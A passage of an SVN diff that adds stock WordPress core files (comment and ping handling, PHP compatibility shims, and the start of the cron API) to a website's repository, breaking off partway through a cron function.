+ * Filters and sanitizes comment data.
+ *
+ * Sets the comment data 'filtered' field to true when finished. This can be
+ * checked as to whether the comment should be filtered and to keep from
+ * filtering the same comment more than once.
+ *
+ * @since 2.0.0
+ * @uses apply_filters() Calls 'pre_user_id' hook on comment author's user ID
+ * @uses apply_filters() Calls 'pre_comment_user_agent' hook on comment author's user agent
+ * @uses apply_filters() Calls 'pre_comment_author_name' hook on comment author's name
+ * @uses apply_filters() Calls 'pre_comment_content' hook on the comment's content
+ * @uses apply_filters() Calls 'pre_comment_user_ip' hook on comment author's IP
+ * @uses apply_filters() Calls 'pre_comment_author_url' hook on comment author's URL
+ * @uses apply_filters() Calls 'pre_comment_author_email' hook on comment author's email address
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return array Parsed comment information.
+ */
+function wp_filter_comment($commentdata) {
+	$commentdata['user_id']              = apply_filters('pre_user_id', $commentdata['user_ID']);
+	$commentdata['comment_agent']        = apply_filters('pre_comment_user_agent', $commentdata['comment_agent']);
+	$commentdata['comment_author']       = apply_filters('pre_comment_author_name', $commentdata['comment_author']);
+	$commentdata['comment_content']      = apply_filters('pre_comment_content', $commentdata['comment_content']);
+	$commentdata['comment_author_IP']    = apply_filters('pre_comment_user_ip', $commentdata['comment_author_IP']);
+	$commentdata['comment_author_url']   = apply_filters('pre_comment_author_url', $commentdata['comment_author_url']);
+	$commentdata['comment_author_email'] = apply_filters('pre_comment_author_email', $commentdata['comment_author_email']);
+	$commentdata['filtered'] = true;
+	return $commentdata;
+}
+
+/**
+ * Whether comment should be blocked because of comment flood.
+ *
+ * @since 2.1.0
+ *
+ * @param bool $block Whether plugin has already blocked comment.
+ * @param int $time_lastcomment Timestamp for last comment.
+ * @param int $time_newcomment Timestamp for new comment.
+ * @return bool Whether comment should be blocked.
+ */
+function wp_throttle_comment_flood($block, $time_lastcomment, $time_newcomment) {
+	if ( $block ) // a plugin has already blocked... we'll let that decision stand
+		return $block;
+	if ( ($time_newcomment - $time_lastcomment) < 15 )
+		return true;
+	return false;
+}
+
+/**
+ * Adds a new comment to the database.
+ *
+ * Filters new comment to ensure that the fields are sanitized and valid before
+ * inserting comment into database. Calls 'comment_post' action with comment ID
+ * and whether comment is approved by WordPress. Also has 'preprocess_comment'
+ * filter for processing the comment data before the function handles it.
+ *
+ * @since 1.5.0
+ * @uses apply_filters() Calls 'preprocess_comment' hook on $commentdata parameter array before processing
+ * @uses do_action() Calls 'comment_post' hook on $comment_ID returned from adding the comment and if the comment was approved.
+ * @uses wp_filter_comment() Used to filter comment before adding comment.
+ * @uses wp_allow_comment() checks to see if comment is approved.
+ * @uses wp_insert_comment() Does the actual comment insertion to the database.
+ *
+ * @param array $commentdata Contains information on the comment.
+ * @return int The ID of the comment after adding.
+ */
+function wp_new_comment( $commentdata ) {
+	$commentdata = apply_filters('preprocess_comment', $commentdata);
+
+	$commentdata['comment_post_ID'] = (int) $commentdata['comment_post_ID'];
+	$commentdata['user_ID']         = (int) $commentdata['user_ID'];
+
+	$commentdata['comment_parent'] = absint($commentdata['comment_parent']);
+	$parent_status = ( 0 < $commentdata['comment_parent'] ) ? wp_get_comment_status($commentdata['comment_parent']) : '';
+	$commentdata['comment_parent'] = ( 'approved' == $parent_status || 'unapproved' == $parent_status ) ? $commentdata['comment_parent'] : 0;
+
+	$commentdata['comment_author_IP'] = preg_replace( '/[^0-9a-fA-F:., ]/', '',$_SERVER['REMOTE_ADDR'] );
+	$commentdata['comment_agent']     = $_SERVER['HTTP_USER_AGENT'];
+
+	$commentdata['comment_date']     = current_time('mysql');
+	$commentdata['comment_date_gmt'] = current_time('mysql', 1);
+
+	$commentdata = wp_filter_comment($commentdata);
+
+	$commentdata['comment_approved'] = wp_allow_comment($commentdata);
+
+	$comment_ID = wp_insert_comment($commentdata);
+
+	do_action('comment_post', $comment_ID, $commentdata['comment_approved']);
+
+	if ( 'spam' !== $commentdata['comment_approved'] ) { // If it's spam save it silently for later crunching
+		if ( '0' == $commentdata['comment_approved'] )
+			wp_notify_moderator($comment_ID);
+
+		$post = &get_post($commentdata['comment_post_ID']); // Don't notify if it's your own comment
+
+		if ( get_option('comments_notify') && $commentdata['comment_approved'] && $post->post_author != $commentdata['user_ID'] )
+			wp_notify_postauthor($comment_ID, $commentdata['comment_type']);
+	}
+
+	return $comment_ID;
+}
+
+/**
+ * Sets the status of a comment.
+ *
+ * The 'wp_set_comment_status' action is called after the comment is handled and
+ * will only be called, if the comment status is either 'hold', 'approve', or
+ * 'spam'. If the comment status is not in the list, then false is returned and
+ * if the status is 'delete', then the comment is deleted without calling the
+ * action.
+ *
+ * @since 1.0.0
+ * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object
+ *
+ * @param int $comment_id Comment ID.
+ * @param string $comment_status New comment status, either 'hold', 'approve', 'spam', or 'delete'.
+ * @param bool $wp_error Whether to return a WP_Error object if there is a failure. Default is false.
+ * @return bool False on failure or deletion and true on success.
+ */
+function wp_set_comment_status($comment_id, $comment_status, $wp_error = false) {
+	global $wpdb;
+
+	$status = '0';
+	switch ( $comment_status ) {
+		case 'hold':
+			$status = '0';
+			break;
+		case 'approve':
+			$status = '1';
+			if ( get_option('comments_notify') ) {
+				$comment = get_comment($comment_id);
+				wp_notify_postauthor($comment_id, $comment->comment_type);
+			}
+			break;
+		case 'spam':
+			$status = 'spam';
+			break;
+		case 'delete':
+			return wp_delete_comment($comment_id);
+			break;
+		default:
+			return false;
+	}
+
+	if ( !$wpdb->update( $wpdb->comments, array('comment_approved' => $status), array('comment_ID' => $comment_id) ) ) {
+		if ( $wp_error )
+			return new WP_Error('db_update_error', __('Could not update comment status'), $wpdb->last_error);
+		else
+			return false;
+	}
+
+	clean_comment_cache($comment_id);
+
+	$comment = get_comment($comment_id);
+
+	do_action('wp_set_comment_status', $comment_id, $comment_status);
+	wp_transition_comment_status($comment_status, $comment->comment_approved, $comment);
+
+	wp_update_comment_count($comment->comment_post_ID);
+
+	return true;
+}
+
+/**
+ * Updates an existing comment in the database.
+ *
+ * Filters the comment and makes sure certain fields are valid before updating.
+ *
+ * @since 2.0.0
+ * @uses $wpdb
+ * @uses wp_transition_comment_status() Passes new and old comment status along with $comment object
+ *
+ * @param array $commentarr Contains information on the comment.
+ * @return int Comment was updated if value is 1, or was not updated if value is 0.
+ */
+function wp_update_comment($commentarr) {
+	global $wpdb;
+
+	// First, get all of the original fields
+	$comment = get_comment($commentarr['comment_ID'], ARRAY_A);
+
+	// Escape data pulled from DB.
+	$comment = $wpdb->escape($comment);
+
+	$old_status = $comment['comment_approved'];
+
+	// Merge old and new fields with new fields overwriting old ones.
+	$commentarr = array_merge($comment, $commentarr);
+
+	$commentarr = wp_filter_comment( $commentarr );
+
+	// Now extract the merged array.
+	extract(stripslashes_deep($commentarr), EXTR_SKIP);
+
+	$comment_content = apply_filters('comment_save_pre', $comment_content);
+
+	$comment_date_gmt = get_gmt_from_date($comment_date);
+
+	if ( !isset($comment_approved) )
+		$comment_approved = 1;
+	else if ( 'hold' == $comment_approved )
+		$comment_approved = 0;
+	else if ( 'approve' == $comment_approved )
+		$comment_approved = 1;
+
+	$data = compact('comment_content', 'comment_author', 'comment_author_email', 'comment_approved', 'comment_karma', 'comment_author_url', 'comment_date', 'comment_date_gmt');
+	$wpdb->update($wpdb->comments, $data, compact('comment_ID'));
+
+	$rval = $wpdb->rows_affected;
+
+	clean_comment_cache($comment_ID);
+	wp_update_comment_count($comment_post_ID);
+	do_action('edit_comment', $comment_ID);
+	$comment = get_comment($comment_ID);
+	wp_transition_comment_status($comment->comment_approved, $old_status, $comment);
+	return $rval;
+}
+
+/**
+ * Whether to defer comment counting.
+ *
+ * When setting $defer to true, all post comment counts will not be updated
+ * until $defer is set to false. When $defer is set to false, then all
+ * previously deferred updated post comment counts will then be automatically
+ * updated without having to call wp_update_comment_count() after.
+ *
+ * @since 2.5.0
+ * @staticvar bool $_defer
+ *
+ * @param bool $defer
+ * @return unknown
+ */
+function wp_defer_comment_counting($defer=null) {
+	static $_defer = false;
+
+	if ( is_bool($defer) ) {
+		$_defer = $defer;
+		// flush any deferred counts
+		if ( !$defer )
+			wp_update_comment_count( null, true );
+	}
+
+	return $_defer;
+}
+
+/**
+ * Updates the comment count for post(s).
+ *
+ * When $do_deferred is false (is by default) and the comments have been set to
+ * be deferred, the post_id will be added to a queue, which will be updated at a
+ * later date and only updated once per post ID.
+ *
+ * If the comments have not be set up to be deferred, then the post will be
+ * updated. When $do_deferred is set to true, then all previous deferred post
+ * IDs will be updated along with the current $post_id.
+ *
+ * @since 2.1.0
+ * @see wp_update_comment_count_now() For what could cause a false return value
+ *
+ * @param int $post_id Post ID
+ * @param bool $do_deferred Whether to process previously deferred post comment counts
+ * @return bool True on success, false on failure
+ */
+function wp_update_comment_count($post_id, $do_deferred=false) {
+	static $_deferred = array();
+
+	if ( $do_deferred ) {
+		$_deferred = array_unique($_deferred);
+		foreach ( $_deferred as $i => $_post_id ) {
+			wp_update_comment_count_now($_post_id);
+			unset( $_deferred[$i] ); /** @todo Move this outside of the foreach and reset $_deferred to an array instead */
+		}
+	}
+
+	if ( wp_defer_comment_counting() ) {
+		$_deferred[] = $post_id;
+		return true;
+	}
+	elseif ( $post_id ) {
+		return wp_update_comment_count_now($post_id);
+	}
+
+}
+
+/**
+ * Updates the comment count for the post.
+ *
+ * @since 2.5.0
+ * @uses $wpdb
+ * @uses do_action() Calls 'wp_update_comment_count' hook on $post_id, $new, and $old
+ * @uses do_action() Calls 'edit_posts' hook on $post_id and $post
+ *
+ * @param int $post_id Post ID
+ * @return bool False on '0' $post_id or if post with ID does not exist. True on success.
+ */
+function wp_update_comment_count_now($post_id) {
+	global $wpdb;
+	$post_id = (int) $post_id;
+	if ( !$post_id )
+		return false;
+	if ( !$post = get_post($post_id) )
+		return false;
+
+	$old = (int) $post->comment_count;
+	$new = (int) $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved = '1'", $post_id) );
+	$wpdb->update( $wpdb->posts, array('comment_count' => $new), array('ID' => $post_id) );
+
+	if ( 'page' == $post->post_type )
+		clean_page_cache( $post_id );
+	else
+		clean_post_cache( $post_id );
+
+	do_action('wp_update_comment_count', $post_id, $new, $old);
+	do_action('edit_post', $post_id, $post);
+
+	return true;
+}
+
+//
+// Ping and trackback functions.
+//
+
+/**
+ * Finds a pingback server URI based on the given URL.
+ *
+ * Checks the HTML for the rel="pingback" link and x-pingback headers. It does
+ * a check for the x-pingback headers first and returns that, if available. The
+ * check for the rel="pingback" has more overhead than just the header.
+ *
+ * @since 1.5.0
+ *
+ * @param string $url URL to ping.
+ * @param int $deprecated Not Used.
+ * @return bool|string False on failure, string containing URI on success.
+ */
+function discover_pingback_server_uri($url, $deprecated = 2048) {
+
+	$pingback_str_dquote = 'rel="pingback"';
+	$pingback_str_squote = 'rel=\'pingback\'';
+
+	/** @todo Should use Filter Extension or custom preg_match instead. */
+	$parsed_url = parse_url($url);
+
+	if ( ! isset( $parsed_url['host'] ) ) // Not an URL. This should never happen.
+		return false;
+
+	//Do not search for a pingback server on our own uploads
+	$uploads_dir = wp_upload_dir();
+	if ( 0 === strpos($url, $uploads_dir['baseurl']) )
+		return false;
+
+	$response = wp_remote_head( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	if ( isset( $response['headers']['x-pingback'] ) )
+		return $response['headers']['x-pingback'];
+
+	// Not an (x)html, sgml, or xml page, no use going further.
+	if ( isset( $response['headers']['content-type'] ) && preg_match('#(image|audio|video|model)/#is', $response['headers']['content-type']) )
+		return false;
+
+	// Now do a GET since we're going to look in the html headers (and we're sure its not a binary file)
+	$response = wp_remote_get( $url, array( 'timeout' => 2, 'httpversion' => '1.0' ) );
+
+	if ( is_wp_error( $response ) )
+		return false;
+
+	$contents = $response['body'];
+
+	$pingback_link_offset_dquote = strpos($contents, $pingback_str_dquote);
+	$pingback_link_offset_squote = strpos($contents, $pingback_str_squote);
+	if ( $pingback_link_offset_dquote || $pingback_link_offset_squote ) {
+		$quote = ($pingback_link_offset_dquote) ? '"' : '\'';
+		$pingback_link_offset = ($quote=='"') ? $pingback_link_offset_dquote : $pingback_link_offset_squote;
+		$pingback_href_pos = @strpos($contents, 'href=', $pingback_link_offset);
+		$pingback_href_start = $pingback_href_pos+6;
+		$pingback_href_end = @strpos($contents, $quote, $pingback_href_start);
+		$pingback_server_url_len = $pingback_href_end - $pingback_href_start;
+		$pingback_server_url = substr($contents, $pingback_href_start, $pingback_server_url_len);
+
+		// We may find rel="pingback" but an incomplete pingback URL
+		if ( $pingback_server_url_len > 0 ) { // We got it!
+			return $pingback_server_url;
+		}
+	}
+
+	return false;
+}
+
+/**
+ * Perform all pingbacks, enclosures, trackbacks, and send to pingback services.
+ *
+ * @since 2.1.0
+ * @uses $wpdb
+ */
+function do_all_pings() {
+	global $wpdb;
+
+	// Do pingbacks
+	while ($ping = $wpdb->get_row("SELECT * FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_pingme' LIMIT 1")) {
+		$wpdb->query("DELETE FROM {$wpdb->postmeta} WHERE post_id = {$ping->ID} AND meta_key = '_pingme';");
+		pingback($ping->post_content, $ping->ID);
+	}
+
+	// Do Enclosures
+	while ($enclosure = $wpdb->get_row("SELECT * FROM {$wpdb->posts}, {$wpdb->postmeta} WHERE {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id AND {$wpdb->postmeta}.meta_key = '_encloseme' LIMIT 1")) {
+		$wpdb->query( $wpdb->prepare("DELETE FROM {$wpdb->postmeta} WHERE post_id = %d AND meta_key = '_encloseme';", $enclosure->ID) );
+		do_enclose($enclosure->post_content, $enclosure->ID);
+	}
+
+	// Do Trackbacks
+	$trackbacks = $wpdb->get_col("SELECT ID FROM $wpdb->posts WHERE to_ping <> '' AND post_status = 'publish'");
+	if ( is_array($trackbacks) )
+		foreach ( $trackbacks as $trackback )
+			do_trackbacks($trackback);
+}
+
+/**
+ * Perform trackbacks.
+ *
+ * @since 1.5.0
+ * @uses $wpdb
+ *
+ * @param int $post_id Post ID to do trackbacks on.
+ */
+function do_trackbacks($post_id) {
+	global $wpdb;
+
+	$post = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $post_id) );
+	$to_ping = get_to_ping($post_id);
+	$pinged  = get_pung($post_id);
+	if ( empty($to_ping) ) {
+		$wpdb->update($wpdb->posts, array('to_ping' => ''), array('ID' => $post_id) );
+		return;
+	}
+
+	if ( empty($post->post_excerpt) )
+		$excerpt = apply_filters('the_content', $post->post_content);
+	else
+		$excerpt = apply_filters('the_excerpt', $post->post_excerpt);
+	$excerpt = str_replace(']]>', ']]&gt;', $excerpt);
+	$excerpt = wp_html_excerpt($excerpt, 252) . '...';
+
+	$post_title = apply_filters('the_title', $post->post_title);
+	$post_title = strip_tags($post_title);
+
+	if ( $to_ping ) {
+		foreach ( (array) $to_ping as $tb_ping ) {
+			$tb_ping = trim($tb_ping);
+			if ( !in_array($tb_ping, $pinged) ) {
+				trackback($tb_ping, $post_title, $excerpt, $post_id);
+				$pinged[] = $tb_ping;
+			} else {
+				$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = %d", $post_id) );
+			}
+		}
+	}
+}
+
+/**
+ * Sends pings to all of the ping site services.
+ *
+ * @since 1.2.0
+ *
+ * @param int $post_id Post ID. Not actually used.
+ * @return int Same as Post ID from parameter
+ */
+function generic_ping($post_id = 0) {
+	$services = get_option('ping_sites');
+
+	$services = explode("\n", $services);
+	foreach ( (array) $services as $service ) {
+		$service = trim($service);
+		if ( '' != $service )
+			weblog_ping($service);
+	}
+
+	return $post_id;
+}
+
+/**
+ * Pings back the links found in a post.
+ *
+ * @since 0.71
+ * @uses $wp_version
+ * @uses IXR_Client
+ *
+ * @param string $content Post content to check for links.
+ * @param int $post_ID Post ID.
+ */
+function pingback($content, $post_ID) {
+	global $wp_version;
+	include_once(ABSPATH . WPINC . '/class-IXR.php');
+
+	// original code by Mort (http://mort.mine.nu:8080)
+	$post_links = array();
+
+	$pung = get_pung($post_ID);
+
+	// Variables
+	$ltrs = '\w';
+	$gunk = '/#~:.?+=&%@!\-';
+	$punc = '.:?\-';
+	$any = $ltrs . $gunk . $punc;
+
+	// Step 1
+	// Parsing the post, external links (if any) are stored in the $post_links array
+	// This regexp comes straight from phpfreaks.com
+	// http://www.phpfreaks.com/quickcode/Extract_All_URLs_on_a_Page/15.php
+	preg_match_all("{\b http : [$any] +? (?= [$punc] * [^$any] | $)}x", $content, $post_links_temp);
+
+	// Step 2.
+	// Walking thru the links array
+	// first we get rid of links pointing to sites, not to specific files
+	// Example:
+	// http://dummy-weblog.org
+	// http://dummy-weblog.org/
+	// http://dummy-weblog.org/post.php
+	// We don't wanna ping first and second types, even if they have a valid <link/>
+
+	foreach ( (array) $post_links_temp[0] as $link_test ) :
+		if ( !in_array($link_test, $pung) && (url_to_postid($link_test) != $post_ID) // If we haven't pung it already and it isn't a link to itself
+				&& !is_local_attachment($link_test) ) : // Also, let's never ping local attachments.
+			if ( $test = @parse_url($link_test) ) {
+				if ( isset($test['query']) )
+					$post_links[] = $link_test;
+				elseif ( ($test['path'] != '/') && ($test['path'] != '') )
+					$post_links[] = $link_test;
+			}
+		endif;
+	endforeach;
+
+	do_action_ref_array('pre_ping', array(&$post_links, &$pung));
+
+	foreach ( (array) $post_links as $pagelinkedto ) {
+		$pingback_server_url = discover_pingback_server_uri($pagelinkedto, 2048);
+
+		if ( $pingback_server_url ) {
+			@ set_time_limit( 60 );
+			 // Now, the RPC call
+			$pagelinkedfrom = get_permalink($post_ID);
+
+			// using a timeout of 3 seconds should be enough to cover slow servers
+			$client = new IXR_Client($pingback_server_url);
+			$client->timeout = 3;
+			$client->useragent .= ' -- WordPress/' . $wp_version;
+
+			// when set to true, this outputs debug messages by itself
+			$client->debug = false;
+
+			if ( $client->query('pingback.ping', $pagelinkedfrom, $pagelinkedto) || ( isset($client->error->code) && 48 == $client->error->code ) ) // Already registered
+				add_ping( $post_ID, $pagelinkedto );
+		}
+	}
+}
+
+/**
+ * Check whether blog is public before returning sites.
+ *
+ * @since 2.1.0
+ *
+ * @param mixed $sites Will return if blog is public, will not return if not public.
+ * @return mixed Empty string if blog is not public, returns $sites, if site is public.
+ */
+function privacy_ping_filter($sites) {
+	if ( '0' != get_option('blog_public') )
+		return $sites;
+	else
+		return '';
+}
+
+/**
+ * Send a Trackback.
+ *
+ * Updates database when sending trackback to prevent duplicates.
+ *
+ * @since 0.71
+ * @uses $wpdb
+ *
+ * @param string $trackback_url URL to send trackbacks.
+ * @param string $title Title of post.
+ * @param string $excerpt Excerpt of post.
+ * @param int $ID Post ID.
+ * @return mixed Database query from update.
+ */
+function trackback($trackback_url, $title, $excerpt, $ID) {
+	global $wpdb;
+
+	if ( empty($trackback_url) )
+		return;
+
+	$options = array();
+	$options['timeout'] = 4;
+	$options['body'] = array(
+		'title' => $title,
+		'url' => get_permalink($ID),
+		'blog_name' => get_option('blogname'),
+		'excerpt' => $excerpt
+	);
+
+	$response = wp_remote_post($trackback_url, $options);
+
+	if ( is_wp_error( $response ) )
+		return;
+
+	$tb_url = addslashes( $trackback_url );
+	$wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET pinged = CONCAT(pinged, '\n', '$tb_url') WHERE ID = %d", $ID) );
+	return $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_url', '')) WHERE ID = %d", $ID) );
+}
+
+/**
+ * Send a pingback.
+ *
+ * @since 1.2.0
+ * @uses $wp_version
+ * @uses IXR_Client
+ *
+ * @param string $server Host of blog to connect to.
+ * @param string $path Path to send the ping.
+ */
+function weblog_ping($server = '', $path = '') {
+	global $wp_version;
+	include_once(ABSPATH . WPINC . '/class-IXR.php');
+
+	// using a timeout of 3 seconds should be enough to cover slow servers
+	$client = new IXR_Client($server, ((!strlen(trim($path)) || ('/' == $path)) ? false : $path));
+	$client->timeout = 3;
+	$client->useragent .= ' -- WordPress/'.$wp_version;
+
+	// when set to true, this outputs debug messages by itself
+	$client->debug = false;
+	$home = trailingslashit( get_option('home') );
+	if ( !$client->query('weblogUpdates.extendedPing', get_option('blogname'), $home, get_bloginfo('rss2_url') ) ) // then try a normal ping
+		$client->query('weblogUpdates.ping', get_option('blogname'), $home);
+}
+
+//
+// Cache
+//
+
+/**
+ * Removes comment ID from the comment cache.
+ *
+ * @since 2.3.0
+ * @package WordPress
+ * @subpackage Cache
+ *
+ * @param int|array $id Comment ID or array of comment IDs to remove from cache
+ */
+function clean_comment_cache($ids) {
+	foreach ( (array) $ids as $id )
+		wp_cache_delete($id, 'comment');
+}
+
+/**
+ * Updates the comment cache of given comments.
+ *
+ * Will add the comments in $comments to the cache. If comment ID already exists
+ * in the comment cache then it will not be updated. The comment is added to the
+ * cache using the comment group with the key using the ID of the comments.
+ *
+ * @since 2.3.0
+ * @package WordPress
+ * @subpackage Cache
+ *
+ * @param array $comments Array of comment row objects
+ */
+function update_comment_cache($comments) {
+	foreach ( (array) $comments as $comment )
+		wp_cache_add($comment->comment_ID, $comment, 'comment');
+}
+
+//
+// Internal
+//
+
+/**
+ * Close comments on old posts on the fly, without any extra DB queries.  Hooked to the_posts.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param object $posts Post data object.
+ * @return object
+ */
+function _close_comments_for_old_posts( $posts ) {
+	if ( empty($posts) || !is_singular() || !get_option('close_comments_for_old_posts') )
+		return $posts;
+
+	$days_old = (int) get_option('close_comments_days_old');
+	if ( !$days_old )
+		return $posts;
+
+	if ( time() - strtotime( $posts[0]->post_date_gmt ) > ( $days_old * 24 * 60 * 60 ) ) {
+		$posts[0]->comment_status = 'closed';
+		$posts[0]->ping_status = 'closed';
+	}
+
+	return $posts;
+}
+
+/**
+ * Close comments on an old post.  Hooked to comments_open and pings_open.
+ *
+ * @access private
+ * @since 2.7.0
+ *
+ * @param bool $open Comments open or closed
+ * @param int $post_id Post ID
+ * @return bool $open
+ */
+function _close_comments_for_old_post( $open, $post_id ) {
+	if ( ! $open )
+		return $open;
+
+	if ( !get_option('close_comments_for_old_posts') )
+		return $open;
+
+	$days_old = (int) get_option('close_comments_days_old');
+	if ( !$days_old )
+		return $open;
+
+	$post = get_post($post_id);
+
+	if ( time() - strtotime( $post->post_date_gmt ) > ( $days_old * 24 * 60 * 60 ) )
+		return false;
+
+	return $open;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/compat.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/compat.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/compat.php	(revision 44)
@@ -0,0 +1,118 @@
+<?php
+/**
+ * WordPress implementation for PHP functions missing from older PHP versions.
+ *
+ * @package PHP
+ * @access private
+ */
+
+// Added in PHP 5.0
+
+if (!function_exists('http_build_query')) {
+	function http_build_query($data, $prefix=null, $sep=null) {
+		return _http_build_query($data, $prefix, $sep);
+	}
+}
+
+// from php.net (modified by Mark Jaquith to behave like the native PHP5 function)
+function _http_build_query($data, $prefix=null, $sep=null, $key='', $urlencode=true) {
+	$ret = array();
+
+	foreach ( (array) $data as $k => $v ) {
+		if ( $urlencode)
+			$k = urlencode($k);
+		if ( is_int($k) && $prefix != null )
+			$k = $prefix.$k;
+		if ( !empty($key) )
+			$k = $key . '%5B' . $k . '%5D';
+		if ( $v === NULL )
+			continue;
+		elseif ( $v === FALSE )
+			$v = '0';
+
+		if ( is_array($v) || is_object($v) )
+			array_push($ret,_http_build_query($v, '', $sep, $k, $urlencode));
+		elseif ( $urlencode )
+			array_push($ret, $k.'='.urlencode($v));
+		else
+			array_push($ret, $k.'='.$v);
+	}
+
+	if ( NULL === $sep )
+		$sep = ini_get('arg_separator.output');
+
+	return implode($sep, $ret);
+}
+
+if ( !function_exists('_') ) {
+	function _($string) {
+		return $string;
+	}
+}
+
+if (!function_exists('stripos')) {
+	function stripos($haystack, $needle, $offset = 0) {
+		return strpos(strtolower($haystack), strtolower($needle), $offset);
+	}
+}
+
+if ( ! function_exists('hash_hmac') ):
+function hash_hmac($algo, $data, $key, $raw_output = false) {
+	$packs = array('md5' => 'H32', 'sha1' => 'H40');
+
+	if ( !isset($packs[$algo]) )
+		return false;
+
+	$pack = $packs[$algo];
+
+	if (strlen($key) > 64)
+		$key = pack($pack, $algo($key));
+	else if (strlen($key) < 64)
+		$key = str_pad($key, 64, chr(0));
+
+	$ipad = (substr($key, 0, 64) ^ str_repeat(chr(0x36), 64));
+	$opad = (substr($key, 0, 64) ^ str_repeat(chr(0x5C), 64));
+
+	return $algo($opad . pack($pack, $algo($ipad . $data)));
+}
+endif;
+
+if ( ! function_exists('mb_substr') ):
+	function mb_substr( $str, $start, $length=null, $encoding=null ) {
+		return _mb_substr($str, $start, $length, $encoding);
+	}
+endif;
+
+function _mb_substr( $str, $start, $length=null, $encoding=null ) {
+	// the solution below, works only for utf-8, so in case of a different
+	// charset, just use built-in substr
+	$charset = get_option( 'blog_charset' );
+	if ( !in_array( $charset, array('utf8', 'utf-8', 'UTF8', 'UTF-8') ) ) {
+		return is_null( $length )? substr( $str, $start ) : substr( $str, $start, $length);
+	}
+	// use the regex unicode support to separate the UTF-8 characters into an array
+	preg_match_all( '/./us', $str, $match );
+	$chars = is_null( $length )? array_slice( $match[0], $start ) : array_slice( $match[0], $start, $length );
+	return implode( '', $chars );
+}
+
+if ( !function_exists( 'htmlspecialchars_decode' ) ) {
+	// Added in PHP 5.1.0
+	// Error checks from PEAR::PHP_Compat
+	function htmlspecialchars_decode( $string, $quote_style = ENT_COMPAT )
+	{
+		if ( !is_scalar( $string ) ) {
+			trigger_error( 'htmlspecialchars_decode() expects parameter 1 to be string, ' . gettype( $string ) . ' given', E_USER_WARNING );
+			return;
+		}
+
+		if ( !is_int( $quote_style ) && $quote_style !== null ) {
+			trigger_error( 'htmlspecialchars_decode() expects parameter 2 to be integer, ' . gettype( $quote_style ) . ' given', E_USER_WARNING );
+			return;
+		}
+
+		return wp_specialchars_decode( $string, $quote_style );
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/cron.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/cron.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/cron.php	(revision 44)
@@ -0,0 +1,397 @@
+<?php
+/**
+ * WordPress CRON API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Schedules a hook to run only once.
+ *
+ * Schedules a hook which will be executed once by the Wordpress actions core at
+ * a time which you specify. The action will fire off when someone visits your
+ * WordPress site, if the schedule time has passed.
+ *
+ * @since 2.1.0
+ * @link http://codex.wordpress.org/Function_Reference/wp_schedule_single_event
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ */
+function wp_schedule_single_event( $timestamp, $hook, $args = array()) {
+	// don't schedule a duplicate if there's already an identical event due in the next 10 minutes
+	$next = wp_next_scheduled($hook, $args);
+	if ( $next && $next <= $timestamp + 600 )
+		return;
+
+	$crons = _get_cron_array();
+	$key = md5(serialize($args));
+	$crons[$timestamp][$hook][$key] = array( 'schedule' => false, 'args' => $args );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Schedule a periodic event.
+ *
+ * Schedules a hook which will be executed by the WordPress actions core on a
+ * specific interval, specified by you. The action will trigger when someone
+ * visits your WordPress site, if the scheduled time has passed.
+ *
+ * Valid values for the recurrence are hourly, daily and twicedaily.  These can
+ * be extended using the cron_schedules filter in wp_get_schedules().
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return bool|null False on failure, null when complete with scheduling event.
+ */
+function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) {
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+	$key = md5(serialize($args));
+	if ( !isset( $schedules[$recurrence] ) )
+		return false;
+	$crons[$timestamp][$hook][$key] = array( 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] );
+	uksort( $crons, "strnatcasecmp" );
+	_set_cron_array( $crons );
+}
+
+/**
+ * Reschedule a recurring event.
+ *
+ * @since 2.1.0
+ *
+ * @param int $timestamp Timestamp for when to run the event.
+ * @param string $recurrence How often the event should recur.
+ * @param string $hook Action hook to execute when cron is run.
+ * @param array $args Optional. Arguments to pass to the hook's callback function.
+ * @return bool|null False on failure. Null when event is rescheduled.
+ */
+function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array()) {
+	$crons = _get_cron_array();
+	$schedules = wp_get_schedules();
+	$key = md5(serialize($args));
+	$interval = 0;
+
+	// First we try to get it from the schedule
+	if ( 0 == $interval )
+		$interval = $schedules[$recurrence]['interval'];
+	// Now we try to get it from the saved interval in case the schedule disappears
+	if ( 0 == $interval )
+		$interval = $crons[$timestamp][$hook][$key]['interval'];
+	// Now we assume something is wrong and fail to schedule
+	if ( 0 == $interval )
+		return false;
+
+	$now = time();
+
+    if ( $timestamp >= $now )
+        $timestamp = $now + $interval;
+    else
+        $timestamp = $now + ($interval - (($now - $timestamp) % $interval));
+
